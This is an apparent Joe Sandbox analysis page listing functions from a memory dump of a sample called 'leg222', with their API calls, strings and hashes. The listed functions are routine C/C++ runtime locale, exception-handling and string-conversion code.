Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 9e5baa4925b61c52ea2f45e374834e9a3abeafcd3a2f2e93bb6c75016cb63330
Instruction ID: bc5a8f1268a34c1c0cc89d13fcc7a6b735f85638be25edc72b6a6b6059d48eae
Opcode Fuzzy Hash: 9e5baa4925b61c52ea2f45e374834e9a3abeafcd3a2f2e93bb6c75016cb63330
Instruction Fuzzy Hash: 2FF02832A10109ABC714EB78DD56FFB33ECDB45314F01407DB602E7281EA78AD058790

Function 00AC26A8 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AB98C7: GetLastError.KERNEL32(?,?,00AAF745,00AD3A10,0000000C), ref: 00AB98CB
Part of subcall function 00AB98C7: SetLastError.KERNEL32(00000000), ref: 00AB996D

EnumSystemLocalesW.KERNEL32(00AC2986,00000001,?,?,-00000050,?,00AC2D28,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00AC26F2

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8631ae01d50ef071731077c24fde2e92ad36f99a2c600440034f8db8e702a2a6
Instruction ID: 11b4d88575870554bbe7890e963e5b6084160b5c8784cd64385fc4b331d9b5b5
Opcode Fuzzy Hash: 8631ae01d50ef071731077c24fde2e92ad36f99a2c600440034f8db8e702a2a6
Instruction Fuzzy Hash: 6DF062363003045FDB145F759C85FBA7B95FB81768F1A442DF9458B690D6B19C42C750

Function 00AB8A86 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AB3011: EnterCriticalSection.KERNEL32(?,?,00AB959F,?,00AD3DE0,00000008,00AB9763,?,?,?), ref: 00AB3020

EnumSystemLocalesW.KERNEL32(00AB8A79,00000001,00AD3D80,0000000C,00AB8EE8,00000000), ref: 00AB8ABE

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 3ad5d17429d1200e8eaaa3eab6a231d1e4bac777c72c94e59b607ca9291ad113
Instruction ID: 8c1c643c3b16e9460806fafb01d84b070ed8260b7c2107622ad691778f2be88d
Opcode Fuzzy Hash: 3ad5d17429d1200e8eaaa3eab6a231d1e4bac777c72c94e59b607ca9291ad113
Instruction Fuzzy Hash: 57F04972A44204EFDB00EF98E986B9D77F4FB48721F00861AF411EB2A2CBB95901CF40

Function 00AC25C2 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AB98C7: GetLastError.KERNEL32(?,?,00AAF745,00AD3A10,0000000C), ref: 00AB98CB
Part of subcall function 00AB98C7: SetLastError.KERNEL32(00000000), ref: 00AB996D

EnumSystemLocalesW.KERNEL32(00AC251B,00000001,?,?,?,00AC2D86,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00AC25F9

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 3188b5c69d56f6fa835c6b313bef2f700b4159161ffa757f549ee3ca9dc2693c
Instruction ID: 288804b3acd8a16b2bba52b0fe749dd83604efeb193c463868204a740ed5b1a6
Opcode Fuzzy Hash: 3188b5c69d56f6fa835c6b313bef2f700b4159161ffa757f549ee3ca9dc2693c
Instruction Fuzzy Hash: 50F0E53670020957CB049F75D859FAB7F94EFC1724F0B405DEA068B651C6759883C750

Function 00AB8FEC Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00AB7F13,?,20001004,00000000,00000002,?,?,00AB7515), ref: 00AB9020

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: a89bac777dfb36a696730ec569dbe69b5e3a3c9dd4526b2d210c29b6ff642f52
Instruction ID: 67bf72a974ab6efbe45b28200ee9740046c58fa1e69d8a0314641f83a9c88a1b
Opcode Fuzzy Hash: a89bac777dfb36a696730ec569dbe69b5e3a3c9dd4526b2d210c29b6ff642f52
Instruction Fuzzy Hash: 46E01A7590022CBBCB226F61DC09EEE7E29EB44790F054111FA0965122CB318921AA91

Function 00AAB896 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000B8A2,00AAAECA), ref: 00AAB89B

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7ccd09e5077e1de15263af62add2837dad836eb08c3dd8f7175be50fea48a6c1
Instruction ID: 64d6d7d06e0aa6db364cb0e386a7dbf25eaaf7541022fb6e51a4bc84ad106be2
Opcode Fuzzy Hash: 7ccd09e5077e1de15263af62add2837dad836eb08c3dd8f7175be50fea48a6c1
Instruction Fuzzy Hash:

Function 00AC2EE6 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00AC2EE6

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 13f05c9f17f38ee8f8802e4f235fdca3e5ed9529ed4a79d874a1687a5a77a791
Instruction ID: 23117f7d0d43a1d851762947b44099b28de08683b256dcdb2bdbf9fa0cf507b6
Opcode Fuzzy Hash: 13f05c9f17f38ee8f8802e4f235fdca3e5ed9529ed4a79d874a1687a5a77a791
Instruction Fuzzy Hash: A7A02230320200CF8300CF33AE0CF0C3BE8BA802C030A8028A00AC20F0EF30808AAF02

Function 00AA4E90 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 290COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AA4E9D
std::_Lockit::_Lockit.LIBCPMT ref: 00AA4EB7
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA4ED8
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA4F04
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA4F39
std::_Lockit::_Lockit.LIBCPMT ref: 00AA4F76
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AA4FC7
__Getctype.LIBCPMT ref: 00AA4FDE
std::_Facet_Register.LIBCPMT ref: 00AA4FF7
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA5010

Strings

bad locale name, xrefs: 00AA501F

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_GetctypeLocinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 1407599034-1405518554
Opcode ID: 46d3d47134d91a3b2a102e4f39f725e4350b0838ee94c1bc75625ddeab86c800
Instruction ID: d059c9555aee316fbcdee1cc93d88dab3df04285e31634d67cb8255098d97e7f
Opcode Fuzzy Hash: 46d3d47134d91a3b2a102e4f39f725e4350b0838ee94c1bc75625ddeab86c800
Instruction Fuzzy Hash: 2EB1F135A006009FCB20DF68C991BAEB7B1FF8A710F19425DE8599B3D1DB75AC05CB91

Function 00AA5450 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AA545D
std::_Lockit::_Lockit.LIBCPMT ref: 00AA5477
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA5498
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA54C4
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA54F9
std::_Lockit::_Lockit.LIBCPMT ref: 00AA5536
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AA5587
std::_Facet_Register.LIBCPMT ref: 00AA55A6
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA55BF

Strings

bad locale name, xrefs: 00AA55CE

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Locinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 3434717313-1405518554
Opcode ID: 0d73a9a55aea75f0b0663639f2ce74a6784f65a4a99e57fcfe36014905c5fa78
Instruction ID: 4f430d5e23c603b0194ce414c81403a82937fb5555ded752ca1c1be52c883c28
Opcode Fuzzy Hash: 0d73a9a55aea75f0b0663639f2ce74a6784f65a4a99e57fcfe36014905c5fa78
Instruction Fuzzy Hash: 6841F031A083408FC750DF24E990B5FB7F1EF86720F14095EE88987291EB75E909CB92

Function 00AA6510 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AA6520
std::_Lockit::_Lockit.LIBCPMT ref: 00AA653A
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA655B
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA658A
std::_Lockit::_Lockit.LIBCPMT ref: 00AA65F1
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AA664E
__Getctype.LIBCPMT ref: 00AA6665
std::_Facet_Register.LIBCPMT ref: 00AA66AA

Strings

bad locale name, xrefs: 00AA66C4

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Facet_GetctypeLocinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 2622896957-1405518554
Opcode ID: 3daf5714830e3b365e9d165119769dfe87bfa4671c348d6527f403bf3d6ba35c
Instruction ID: a4e6aa3be9b08ccf8aaad385e3f4ff589858d54f26b9485b37707db8a063a9c3
Opcode Fuzzy Hash: 3daf5714830e3b365e9d165119769dfe87bfa4671c348d6527f403bf3d6ba35c
Instruction Fuzzy Hash: 3851F4718087418FD321DF24CA41B6BB7F0BF96310F19495DE889972A2EB75E984CF92

Function 00AA69D0 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 158COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AA6A31
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AA6A86
Concurrency::cancel_current_task.LIBCPMT ref: 00AA6BFE

Strings

bad locale name, xrefs: 00AA6BF4
false, xrefs: 00AA6B22
true, xrefs: 00AA6B3C
,, xrefs: 00AA6B96
., xrefs: 00AA6B53

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: std::_$Concurrency::cancel_current_taskLocinfo::_Locinfo_ctorLockitLockit::_
String ID: ,$.$bad locale name$false$true
API String ID: 1995332507-3659324578
Opcode ID: e3e872f33de7b91479fca6dcff56667f8d644445cebbead8c2db23829a39cf39
Instruction ID: ed73b7b4c776df6002ca6da3731043b61348db9209e6ec02a24f2b520e016a08
Opcode Fuzzy Hash: e3e872f33de7b91479fca6dcff56667f8d644445cebbead8c2db23829a39cf39
Instruction Fuzzy Hash: 635180B1808381AFD310DF64C941B9BB7E4BF99304F048A2EF58997291E774E548CBA3

Function 00AA6C10 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 120COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AA6C62
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AA6CB7
Concurrency::cancel_current_task.LIBCPMT ref: 00AA6D81
Concurrency::cancel_current_task.LIBCPMT ref: 00AA6D86
Concurrency::cancel_current_task.LIBCPMT ref: 00AA6D8B

Strings

bad locale name, xrefs: 00AA6D77
false, xrefs: 00AA6D1F
true, xrefs: 00AA6D45

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name$false$true
API String ID: 164343898-1062449267
Opcode ID: d289b74b16e4bf846293a9e13412ff81d8b97208f81bde8e4865ef96db3fbb3c
Instruction ID: b52a7e9b06e8adc99af92a0a6cccf04b5b4f4063cc646236739e2b4c4ddc0979
Opcode Fuzzy Hash: d289b74b16e4bf846293a9e13412ff81d8b97208f81bde8e4865ef96db3fbb3c
Instruction Fuzzy Hash: 9F41BF746083419FD720EF64CA4175BBBF4AF8A710F08482DF4998B2D2E7B5D509CBA2

Function 00AAADCD Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00AAADD3
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00AAADE1
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00AAADF2
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00AAAE03

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00AAADE7
GetCurrentPackageId, xrefs: 00AAADDB
GetTempPath2W, xrefs: 00AAADF8
kernel32.dll, xrefs: 00AAADCE

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: ec7003f8c768f98794cff52c4c515541bcc1d31dd6403b5a2ce2e0c0a104d596
Instruction ID: 2f0c23e7bf7292f0a49cd731077e969268a10edb8a00ab8da79597cb4954137b
Opcode Fuzzy Hash: ec7003f8c768f98794cff52c4c515541bcc1d31dd6403b5a2ce2e0c0a104d596
Instruction Fuzzy Hash: 76E086355A5310FB8300AFB07C0EDA53AB4FA5939A7030526BC05D7260DFB000018BB1

Function 00AAE5A8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00AAE6C7
___TypeMatch.LIBVCRUNTIME ref: 00AAE7D5
_UnwindNestedFrames.LIBCMT ref: 00AAE927
CallUnexpected.LIBVCRUNTIME ref: 00AAE942

Strings

csm, xrefs: 00AAE5E5
csm, xrefs: 00AAE652
csm, xrefs: 00AAE6FE

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 6da6e455afddc00cb6d9d1e685a1144c8afc6175afd9c11b968e5f4906350d79
Instruction ID: 3ffeef2f50832402a09e4c92cb8941d129c7ccbb63818ae37aca5490c36f959a
Opcode Fuzzy Hash: 6da6e455afddc00cb6d9d1e685a1144c8afc6175afd9c11b968e5f4906350d79
Instruction Fuzzy Hash: 87B17971800209EFCF29DFA4D9819AEBBB5FF1A310F14456AF8116B292D734EA51CF91

Function 00ABDC97 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00ABDF10

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 88f0aa005da311f2083cfa180818ea7bd70e594985b81e8d6a07ffc227acda7a
Instruction ID: c1e915a4a0d7363d7c9a127b43c35559b78ab4ead5e275c4c12b7901042c1e73
Opcode Fuzzy Hash: 88f0aa005da311f2083cfa180818ea7bd70e594985b81e8d6a07ffc227acda7a
Instruction Fuzzy Hash: 55B10270A04249AFDB11DFA9C880BFDBBB9EF89304F144159E405AB293EB719D42CB61

Function 00AC699A Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0090FB48,0090FB48,?,7FFFFFFF,?,00AC6C6A,0090FB48,0090FB48,?,0090FB48,?,?,?,?,0090FB48,?), ref: 00AC6A40
__alloca_probe_16.LIBCMT ref: 00AC6AFB
__alloca_probe_16.LIBCMT ref: 00AC6B8A
__freea.LIBCMT ref: 00AC6BD5
__freea.LIBCMT ref: 00AC6BDB
__freea.LIBCMT ref: 00AC6C11
__freea.LIBCMT ref: 00AC6C17
__freea.LIBCMT ref: 00AC6C27

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 66f7aa9e9d3cb06b185eb938dc23e7a483d83fd24754a41da8a014ea8abca314
Instruction ID: d1ccd4a2e7fd68b7868dc159ea5e90697750ffc33a5a6e6519bc39453b8142ec
Opcode Fuzzy Hash: 66f7aa9e9d3cb06b185eb938dc23e7a483d83fd24754a41da8a014ea8abca314
Instruction Fuzzy Hash: 9B71D272944209ABDF20DFA88D41FAE7BB9EF49350F2A405EE855B7292D735DC00C7A1

Function 00AAABB1 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,CCCCCCCC,00AA1C8F,?,00000001,00000000,00000002,00000001,?,00AA1C8F,?), ref: 00AAABFA
__alloca_probe_16.LIBCMT ref: 00AAAC26
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,00AA1C8F,?,00000000,00AD1DDE,009140B8,?,?,?,00AA6B2C), ref: 00AAAC65
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00AA1C8F,?,00000000,00AD1DDE,009140B8), ref: 00AAAC82
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,00AA1C8F,?,00000000,00AD1DDE,009140B8), ref: 00AAACC1
__alloca_probe_16.LIBCMT ref: 00AAACDE
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00AA1C8F,?,00000000,00AD1DDE,009140B8), ref: 00AAAD20
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,00AA1C8F,?,00000000,00AD1DDE,009140B8), ref: 00AAAD43

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: a930df85d752aba0ce5d1de132e70f95c70fdd75182d19192bb1e3901cc235c5
Instruction ID: 03ca0b6910e73053223f66016be1da909b33a0c03ed08ce96902294fb77a28b4
Opcode Fuzzy Hash: a930df85d752aba0ce5d1de132e70f95c70fdd75182d19192bb1e3901cc235c5
Instruction Fuzzy Hash: 6651CE7260020AABEF209FA4CC45FAB7BF9EB66755F114529F9059B1A0E735CC00DB62

Function 00AA6180 Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AA618D
std::_Lockit::_Lockit.LIBCPMT ref: 00AA61AB
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA61CC
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA621C
std::_Facet_Register.LIBCPMT ref: 00AA6246
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA625F

Part of subcall function 00AA1930: ___std_exception_copy.LIBVCRUNTIME ref: 00AA196C

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

